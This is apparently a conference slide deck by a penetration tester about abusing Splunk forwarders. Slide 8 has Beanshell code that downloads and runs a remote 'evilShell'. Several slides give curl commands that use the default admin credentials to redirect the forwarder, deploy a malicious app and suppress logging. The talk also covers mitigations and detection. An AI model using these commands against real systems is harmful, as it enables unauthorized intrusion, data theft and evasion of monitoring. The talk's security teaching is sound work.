Splunk forwarders were used to gain initial access to a network by exploiting their default credentials and REST API. This allowed deploying a malicious app that provided a shell. The shell was then used to pillage other systems by abusing credentials and data found in Chef scripts and GitHub repositories. Mitigations include changing default credentials, disabling the REST API on forwarders, improving logging and monitoring for unusual app deployments, using TLS for deployment server communications, and running Splunk in a less privileged manner.

1. Splunk: Forward me the REST
of those shells

2. Introduction

3. Anthony Hendricks
• I break things for a living
• Penetration Tester at Defense Point Security
• Disclaimer:
• This talk is my own work and may not necessarily reflect the views of my
employer. This is not intended to shame any companies mentioned, instead
focus the importance of good application deployment and installation
procedures

4. Some Splunk Background
•For those not familiar
•Splunk is a logging platform/SIEM
•Typically uses agents called ”Universal Forwarders”
(aka Forwarders) for sending
•Forwarders can be configured
• Manually via config files
• Via deployment server

6. Setting the Stage
•Pentesting a web application
•Well secured, modern coding practices
•JS-heavy, not much dynamic content
•Until…..

7. The Pentest Begins
• Discovered Adobe Livecycle
• Adobe kindly provides a scripting interface for all of their
applications

8. Some Java/Beanshell Code
import java.lang.*;
import java.util.*;
import java.io.*;
import java.net.*;
String[] cmd = {"/usr/bin/wget", "http://<IP>/evilShell"};
Runtime.getRuntime().exec(cmd);
exec("/bin/chmod 700 evilShell");
String[] cmd = {"/bin/sh", "-c", "evilShell"};
Runtime.getRuntime().exec(cmd);

9. Shell
• So I have my shell
• Now what?
• Limited to the jboss user (no root dance yet)
• Hardened/patched OS (RHEL)
• One simple oversight:

10. Blue Team Turned Evil?
• How can I use this?
• Assemble the brain-trust!

11. Default Creds Again?
• The Splunk Universal Forwarder still had default credentials
• Known issue, Splunk restricted the REST API to localhost only
when default credentials were used
• admin // changeme

12. Curl to the Rescue
•Step 1:
•Test hypothesis
curl -u "admin:changeme" -k
https://127.0.0.1:8089/services/deployment/client
• Returns
<s:key name="targetUri">10.0.1.20:8089</s:key>

13. Abusing Splunk for Fun and Profit
•Step 2
•Set up my own Deployment server

14. Splunk TA-Shell
•Step 3
•Write some code (or borrow it)

15. The Hard Way
•Step 4
•Direct the UF to the new deployment server
curl -u "admin:changeme" -k
"https://127.0.0.1:8089/services/deployment/client/conf" -d
targetUri='<IP>:<port>'
curl -u "admin:changeme" -k
"https://127.0.0.1:8089/services/server/control/restart" –d ‘’

16. App Deployment
•Step 5
•Deploy the new app
•Takes up to 5 minutes to
check in and deploy

17. Then We Wait
•Step 6
•Profit!

18. Abusing Splunk for Fun and Profit
• In this particular instance, once I had root I was able to
pillage all of the Chef scripts for credentials and github
repositories
• Result
• Complete exploitation of every server in the network
• S3 access (encrypted PII)
• Reverse engineered the web application to discover encryption
key storage
• Fully decrypted PII, ability to change, delete

19. Long Story Short

20. The Easy Way
•It just keeps getting better:
•Deploy your app without an evil deployment server
•POST the file and deploy with one command
•curl -k -u admin:changeme
"https://localhost:8090/services/apps/local" -d
filename=1 -d name=/path/to/evilapp.tgz

21. What About Logging?
• Internal logging by the forwarder is complex
• AuditLogger - Audit:[timestamp=06-03-2017
09:19:00.136, user=admin, action=login attempt,
info=succeeded, src=127.0.0.1][n/a]
• REST can change logging levels too
• curl -k -u
admin:changeme https://localhost:8090/servicesNS/nobody/system/admin/l
ogger/HTTPAccess -d 'level=ERROR’

22. Mitigations: Default Creds
•Change them!
•Make them hard to guess
•99% of the time you don’t even need to know
them
•If you need Forwarder credentials
•Remove $SPLUNK_HOME/etc/passwd, and
restart Splunk

23. Mitigations: REST API
•Forwarders don’t need the REST API
• Indexers and Search Heads usually do (YMMV)
• Best practice: disable the REST API entirely on
Forwarders
• https://github.com/georgestarcher/UF-TA-killrest
•Known issue for Splunk
• REST API is restricted to 127.0.0.1 if the credentials are
default

24. Mitigations: Detection
•Log and alert on Splunk metadata events
• Watch for forwarders failing to check in
• Changes via REST are logged and forwarded
• Lots of artifacts left by this technique
• Hard to find and squash before it gets shipped to the
indexers
index=_internal sourcetype=splunkd DeployedApplication
Downloaded url!=<deployment server here>

25. Mitigation: Extended Logging
Props.conf:
[source::.../var/log/splunk/audit.log(.d+)?]
TRANSFORMS = send_to_underscore_audit
Transforms.conf:
[send_to_underscore_audit]
MV_ADD = true
DEST_KEY = _MetaData:Index
REGEX = .
FORMAT = _audit

26. Extended Logging Example
03-14-2018 09:02:05.747 -0500 INFO
AuditLogger - Audit:[timestamp=03-14-2018
09:02:05.747, user=admin,
action=edit_server, info=granted
object="HTTPAccess" operation=edit][n/a]

27. Mitigations: TLS
• Force all Deployment Server communications to use
properly validated TLS certificates
• Won’t stop the fake Deployment Server attack but makes
it a lot more difficult
• Encrypted Command and Control is just good practice

28. Mitigations: Run Unprivileged
• Most difficult
• Requires all forwarded logs to be readable by Splunk user
• SELinux may cause problems
• Not always effective
• Splunk User runas config option was available to
unprivileged Splunk user
• Splunk services start as root, then forks to assigned user
• https://www.splunk.com/view/SP-CAAAP3M
• Lock down splunk-launch.conf

29. Forwarder Hardening Guide
• https://github.com/MattUebel/splunk_UF_hardening
1. Changing Service Account
2. Changing Credentials
3. Disabling REST Port
4. Deployment Server Hardening/Monitoring
5. SSL

30. Questions?
• Thanks to:
• Duane Waddle (duckfez)
• Matt Uebel (@muebel)
• George Starcher (@georgestarcher)
• Jason Ashbaugh (@techxicologist)